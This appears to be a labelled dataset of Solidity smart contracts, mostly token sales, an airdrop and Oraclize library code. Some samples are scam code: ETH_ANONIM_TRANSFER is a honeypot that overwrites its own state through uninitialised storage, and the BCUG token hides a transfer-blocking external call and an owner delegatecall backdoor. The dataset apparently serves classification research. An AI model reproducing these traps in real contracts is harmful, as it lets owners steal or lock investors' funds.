function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed _from, address indexed _to, uint _value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract BigbomContributorWhiteList is Ownable {
mapping(address=>uint) public addressMinCap;
mapping(address=>uint) public addressMaxCap;
function BigbomContributorWhiteList() public {}
event ListAddress( address _user, uint _mincap, uint _maxcap, uint _time );
function listAddress( address _user, uint _mincap, uint _maxcap ) public onlyOwner {
require(_mincap <= _maxcap);
require(_user != address(0x0));
addressMinCap[_user] = _mincap;
addressMaxCap[_user] = _maxcap;
ListAddress( _user, _mincap, _maxcap, now );
}
function listAddresses( address[] _users, uint[] _mincap, uint[] _maxcap ) public onlyOwner {
require(_users.length == _mincap.length );
require(_users.length == _maxcap.length );
for( uint i = 0 ; i < _users.length ; i++ ) {
listAddress( _users[i], _mincap[i], _maxcap[i] );
}
}
function getMinCap( address _user ) public constant returns(uint) {
return addressMinCap[_user];
}
function getMaxCap( address _user ) public constant returns(uint) {
return addressMaxCap[_user];
}
}
contract BigbomPrivateSaleList is Ownable {
mapping(address=>uint) public addressCap;
function BigbomPrivateSaleList() public {}
event ListAddress( address _user, uint _amount, uint _time );
function listAddress( address _user, uint _amount ) public onlyOwner {
require(_user != address(0x0));
addressCap[_user] = _amount;
ListAddress( _user, _amount, now );
}
function listAddresses( address[] _users, uint[] _amount ) public onlyOwner {
require(_users.length == _amount.length );
for( uint i = 0 ; i < _users.length ; i++ ) {
listAddress( _users[i], _amount[i] );
}
}
function getCap( address _user ) public constant returns(uint) {
return addressCap[_user];
}
}
contract BigbomToken is StandardToken, Ownable {
string public constant name = "Bigbom";
string public constant symbol = "BBO";
uint public constant decimals = 18;
uint public totalSupply = 2000000000 * 1e18;
uint public constant founderAmount = 200000000 * 1e18;
uint public constant coreStaffAmount = 60000000 * 1e18;
uint public constant advisorAmount = 140000000 * 1e18;
uint public constant networkGrowthAmount = 600000000 * 1e18;
uint public constant reserveAmount = 635000000 * 1e18;
uint public constant bountyAmount = 40000000 * 1e18;
uint public constant publicSaleAmount = 275000000 * 1e18;
address public bbFounderCoreStaffWallet ;
address public bbAdvisorWallet;
address public bbAirdropWallet;
address public bbNetworkGrowthWallet;
address public bbReserveWallet;
address public bbPublicSaleWallet;
uint public saleStartTime;
uint public saleEndTime;
address public tokenSaleContract;
BigbomPrivateSaleList public privateSaleList;
mapping (address => bool) public frozenAccount;
mapping (address => uint) public frozenTime;
mapping (address => uint) public maxAllowedAmount;
event FrozenFunds(address target, bool frozen, uint _seconds);
function checkMaxAllowed(address target) public constant returns (uint) {
var maxAmount = balances[target];
if(target == bbFounderCoreStaffWallet){
maxAmount = 10000000 * 1e18;
}
if(target == bbAdvisorWallet){
maxAmount = 10000000 * 1e18;
}
if(target == bbAirdropWallet){
maxAmount = 40000000 * 1e18;
}
if(target == bbNetworkGrowthWallet){
maxAmount = 20000000 * 1e18;
}
if(target == bbReserveWallet){
maxAmount = 6350000 * 1e18;
}
return maxAmount;
}
function selfFreeze(bool freeze, uint _seconds) public {
require(_seconds <= 7 * 24 * 3600);
if(!freeze){
var frozenEndTime = frozenTime[msg.sender];
require (now >= frozenEndTime);
frozenAccount[msg.sender] = freeze;
_seconds = 0;
}else{
frozenAccount[msg.sender] = freeze;
}
frozenTime[msg.sender] = now + _seconds;
FrozenFunds(msg.sender, freeze, _seconds);
}
function freezeAccount(address target, bool freeze, uint _seconds) onlyOwner public {
if(!freeze){
var frozenEndTime = frozenTime[target];
require (now >= frozenEndTime);
frozenAccount[target] = freeze;
_seconds = 0;
}else{
frozenAccount[target] = freeze;
}
frozenTime[target] = now + _seconds;
FrozenFunds(target, freeze, _seconds);
}
modifier validDestination( address to ) {
require(to != address(0x0));
require(to != address(this) );
require(!frozenAccount[to]);
_;
}
modifier validFrom(address from){
require(!frozenAccount[from]);
_;
}
modifier onlyWhenTransferEnabled() {
if( now <= saleEndTime && now >= saleStartTime ) {
require( msg.sender == tokenSaleContract );
}
_;
}
modifier onlyPrivateListEnabled(address _to){
require(now <= saleStartTime);
uint allowcap = privateSaleList.getCap(_to);
require (allowcap > 0);
_;
}
function setPrivateList(BigbomPrivateSaleList _privateSaleList) onlyOwner public {
require(_privateSaleList != address(0x0));
privateSaleList = _privateSaleList;
}
function BigbomToken(uint startTime, uint endTime, address admin, address _bbFounderCoreStaffWallet, address _bbAdvisorWallet,
address _bbAirdropWallet,
address _bbNetworkGrowthWallet,
address _bbReserveWallet,
address _bbPublicSaleWallet
) public {
require(admin!=address(0x0));
require(_bbAirdropWallet!=address(0x0));
require(_bbAdvisorWallet!=address(0x0));
require(_bbReserveWallet!=address(0x0));
require(_bbNetworkGrowthWallet!=address(0x0));
require(_bbFounderCoreStaffWallet!=address(0x0));
require(_bbPublicSaleWallet!=address(0x0));
balances[msg.sender] = totalSupply;
Transfer(address(0x0), msg.sender, totalSupply);
bbAirdropWallet = _bbAirdropWallet;
bbAdvisorWallet = _bbAdvisorWallet;
bbReserveWallet = _bbReserveWallet;
bbNetworkGrowthWallet = _bbNetworkGrowthWallet;
bbFounderCoreStaffWallet = _bbFounderCoreStaffWallet;
bbPublicSaleWallet = _bbPublicSaleWallet;
saleStartTime = startTime;
saleEndTime = endTime;
transferOwnership(admin);
}
function setTimeSale(uint startTime, uint endTime) onlyOwner public {
require (now < saleStartTime || now > saleEndTime);
require (now < startTime);
require ( startTime < endTime);
saleStartTime = startTime;
saleEndTime = endTime;
}
function setTokenSaleContract(address _tokenSaleContract) onlyOwner public {
require(_tokenSaleContract != address(0x0));
require (now < saleStartTime || now > saleEndTime);
tokenSaleContract = _tokenSaleContract;
}
function transfer(address _to, uint _value)
onlyWhenTransferEnabled
validDestination(_to)
validFrom(msg.sender)
public
returns (bool) {
if (msg.sender == bbFounderCoreStaffWallet || msg.sender == bbAdvisorWallet||
msg.sender == bbAirdropWallet|| msg.sender == bbNetworkGrowthWallet|| msg.sender == bbReserveWallet){
var withdrawAmount = maxAllowedAmount[msg.sender];
var defaultAllowAmount = checkMaxAllowed(msg.sender);
var maxAmount = defaultAllowAmount - withdrawAmount;
require(maxAmount >= _value);
if(maxAmount==_value){
var isTransfer = super.transfer(_to, _value);
selfFreeze(true, 24 * 3600);
maxAllowedAmount[msg.sender] = 0;
return isTransfer;
}else{
maxAllowedAmount[msg.sender] = maxAllowedAmount[msg.sender].add(_value);
}
}
return super.transfer(_to, _value);
}
function transferPrivateSale(address _to, uint _value)
onlyOwner
onlyPrivateListEnabled(_to)
public
returns (bool) {
return transfer( _to, _value);
}
function transferFrom(address _from, address _to, uint _value)
onlyWhenTransferEnabled
validDestination(_to)
validFrom(_from)
public
returns (bool) {
if (_from == bbFounderCoreStaffWallet || _from == bbAdvisorWallet||
_from == bbAirdropWallet|| _from == bbNetworkGrowthWallet|| _from == bbReserveWallet){
var withdrawAmount = maxAllowedAmount[_from];
var defaultAllowAmount = checkMaxAllowed(_from);
var maxAmount = defaultAllowAmount - withdrawAmount;
require(maxAmount >= _value);
if(maxAmount==_value){
var isTransfer = super.transfer(_to, _value);
selfFreeze(true, 24 * 3600);
maxAllowedAmount[_from] = 0;
return isTransfer;
}else{
maxAllowedAmount[_from] = maxAllowedAmount[_from].add(_value);
}
}
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed _burner, uint _value);
function burn(uint _value) onlyWhenTransferEnabled
public
returns (bool){
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
Transfer(msg.sender, address(0x0), _value);
return true;
}
function burnFrom(address _from, uint256 _value) onlyWhenTransferEnabled
public
returns (bool) {
assert( transferFrom( _from, msg.sender, _value ) );
return burn(_value);
}
function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner public {
token.transfer( owner, amount );
}
}
contract BigbomTokenSale {
address public admin;
address public bigbomMultiSigWallet;
BigbomToken public token;
uint public raisedWei;
bool public haltSale;
uint public openSaleStartTime;
uint public openSaleEndTime;
BigbomContributorWhiteList public list;
mapping(address=>uint) public participated;
using SafeMath for uint;
function BigbomTokenSale( address _admin,
address _bigbomMultiSigWallet,
BigbomContributorWhiteList _whilteListContract,
uint _publicSaleStartTime,
uint _publicSaleEndTime,
BigbomToken _token) public
{
require (_publicSaleStartTime < _publicSaleEndTime);
require (_admin != address(0x0));
require (_bigbomMultiSigWallet != address(0x0));
require (_whilteListContract != address(0x0));
require (_token != address(0x0));
admin = _admin;
bigbomMultiSigWallet = _bigbomMultiSigWallet;
list = _whilteListContract;
openSaleStartTime = _publicSaleStartTime;
openSaleEndTime = _publicSaleEndTime;
token = _token;
}
function saleEnded() public constant returns(bool) {
return now > openSaleEndTime;
}
function saleStarted() public constant returns(bool) {
return now >= openSaleStartTime;
}
function setHaltSale( bool halt ) public {
require( msg.sender == admin );
haltSale = halt;
}
function contributorMinCap( address contributor ) public constant returns(uint) {
return list.getMinCap( contributor );
}
function contributorMaxCap( address contributor, uint amountInWei ) public constant returns(uint) {
uint cap = list.getMaxCap( contributor );
if( cap == 0 ) return 0;
uint remainedCap = cap.sub( participated[ contributor ] );
if( remainedCap > amountInWei ) return amountInWei;
else return remainedCap;
}
function checkMaxCap( address contributor, uint amountInWei ) internal returns(uint) {
uint result = contributorMaxCap( contributor, amountInWei );
participated[contributor] = participated[contributor].add( result );
return result;
}
function() payable public {
buy( msg.sender );
}
function getBonus(uint _tokens) public view returns (uint){
if (now > openSaleStartTime && now <= (openSaleStartTime+3 days)){
return _tokens.mul(25).div(100);
}
else
{
return 0;
}
}
event Buy( address _buyer, uint _tokens, uint _payedWei, uint _bonus );
function buy( address recipient ) payable public returns(uint){
require( ! haltSale );
require( saleStarted() );
require( ! saleEnded() );
uint mincap = contributorMinCap(recipient);
uint maxcap = checkMaxCap(recipient, msg.value );
uint allowValue = msg.value;
require( mincap > 0 );
require( maxcap > 0 );
require (msg.value >= mincap);
if( msg.value > maxcap ) {
allowValue = maxcap;
msg.sender.transfer( msg.value.sub( maxcap ) );
}
sendETHToMultiSig(allowValue);
raisedWei = raisedWei.add( allowValue );
uint recievedTokens = allowValue.mul( 20000 );
uint bonus = getBonus(recievedTokens);
recievedTokens = recievedTokens.add(bonus);
assert( token.transfer( recipient, recievedTokens ) );
Buy( recipient, recievedTokens, allowValue, bonus );
return msg.value;
}
function sendETHToMultiSig( uint value ) internal {
bigbomMultiSigWallet.transfer( value );
}
event FinalizeSale();
function finalizeSale() public {
require( saleEnded() );
token.burn(token.balanceOf(this));
FinalizeSale();
}
function emergencyDrain(ERC20 anyToken) public returns(bool){
require( msg.sender == admin );
require( saleEnded() );
if( this.balance > 0 ) {
sendETHToMultiSig( this.balance );
}
if( anyToken != address(0x0) ) {
assert( anyToken.transfer(bigbomMultiSigWallet, anyToken.balanceOf(this)) );
}
return true;
}
function debugBuy() payable public {
require( msg.value > 0 );
sendETHToMultiSig( msg.value );
}
} | 0 | 2,590 |
pragma solidity ^0.4.19;
contract ETH_ANONIM_TRANSFER
{
uint256 feePaid;
uint256 creatorFee = 0.001 ether;
uint256 totalTransfered;
address creator = msg.sender;
struct Transfer
{
uint256 timeStamp;
uint256 currContractBallance;
uint256 inAm;
}
Transfer[] Log;
modifier secure
{
require(msg.sender == tx.origin);
Transfer LogUnit;
LogUnit.timeStamp = now;
LogUnit.currContractBallance = this.balance;
LogUnit.inAm = msg.value;
Log.push(LogUnit);
_;
}
function() public payable{}
function MakeTransfer(address _adr, uint256 _am)
external
payable
secure
{
if(msg.value > 1 ether)
{
creator.send(creatorFee);
_adr.send(_am);
feePaid+=creatorFee;
totalTransfered+=_am;
}
}
} | 0 | 242 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract BCUG is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 313636000000000000000000;
string public name = "Blockchain Cuties Universe Governance Token";
string public symbol = "BCUG";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,160 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
if (_x == 0) {
return 0;
}
z = _x * _y;
assert(z / _x == _y);
return z;
}
function div(uint256 _x, uint256 _y) internal pure returns (uint256) {
return _x / _y;
}
function sub(uint256 _x, uint256 _y) internal pure returns (uint256) {
assert(_y <= _x);
return _x - _y;
}
function add(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
z = _x + _y;
assert(z >= _x);
return z;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner public {
require(_newOwner != address(0));
owner = _newOwner;
emit OwnershipTransferred(owner, _newOwner);
}
}
contract Erc20Wrapper {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract LemurTokenSale is Ownable {
using SafeMath for uint256;
Erc20Wrapper public token;
address public wallet;
uint256 public rate;
uint256 public amountRaised;
uint256 public openingTime;
uint256 public closingTime;
event TokenPurchase(address indexed _purchaser, address indexed _beneficiary, uint256 _value, uint256 _amount);
constructor() public {
openingTime = block.timestamp;
closingTime = openingTime.add(90 days);
}
function setToken(Erc20Wrapper _token) onlyOwner public {
require(_token != address(0));
token = _token;
}
function setWallet(address _wallet) onlyOwner public {
require(_wallet != address(0));
wallet = _wallet;
}
function setRate(uint256 _rate) onlyOwner public {
require(_rate > 0);
rate = _rate;
}
function setClosingTime(uint256 _days) onlyOwner public {
require(_days >= 1);
closingTime = openingTime.add(_days.mul(1 days));
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
require(!hasClosed());
require(token != address(0) && wallet != address(0) && rate > 0);
require(_beneficiary != address(0));
uint256 amount = msg.value;
require(amount >= 0.01 ether);
uint256 tokenAmount = amount.mul(rate);
amountRaised = amountRaised.add(amount);
require(token.transfer(_beneficiary, tokenAmount));
emit TokenPurchase(msg.sender, _beneficiary, amount, tokenAmount);
wallet.transfer(amount);
}
} | 1 | 2,870 |
pragma solidity ^0.4.21;
contract RealEstateCryptoFund {
function transfer(address to, uint256 value) public returns (bool);
function balanceOf(address who) public constant returns (uint256);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Airdrop is Ownable {
uint256 public airdropAmount;
RealEstateCryptoFund public token;
mapping(address=>bool) public participated;
event TokenAirdrop(address indexed beneficiary, uint256 amount);
event AirdropAmountUpdate(uint256 airdropAmount);
function Airdrop(address _tokenAddress) public {
token = RealEstateCryptoFund (_tokenAddress);
}
function () external payable {
getTokens(msg.sender);
}
function setAirdropAmount(uint256 _airdropAmount) public onlyOwner {
require(_airdropAmount > 0);
airdropAmount = _airdropAmount;
emit AirdropAmountUpdate(airdropAmount);
}
function getTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase(beneficiary));
token.transfer(beneficiary, airdropAmount);
emit TokenAirdrop(beneficiary, airdropAmount);
participated[beneficiary] = true;
}
function validPurchase(address beneficiary) internal view returns (bool) {
bool hasParticipated = participated[beneficiary];
return !hasParticipated;
}
}
contract RealEstateCryptoFundAirdrop is Airdrop {
function RealEstateCryptoFundAirdrop (address _tokenAddress) public
Airdrop(_tokenAddress)
{
}
function drainRemainingTokens () public onlyOwner {
token.transfer(owner, token.balanceOf(this));
}
} | 1 | 3,735 |
pragma solidity ^0.4.11;
pragma solidity ^0.4.0;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
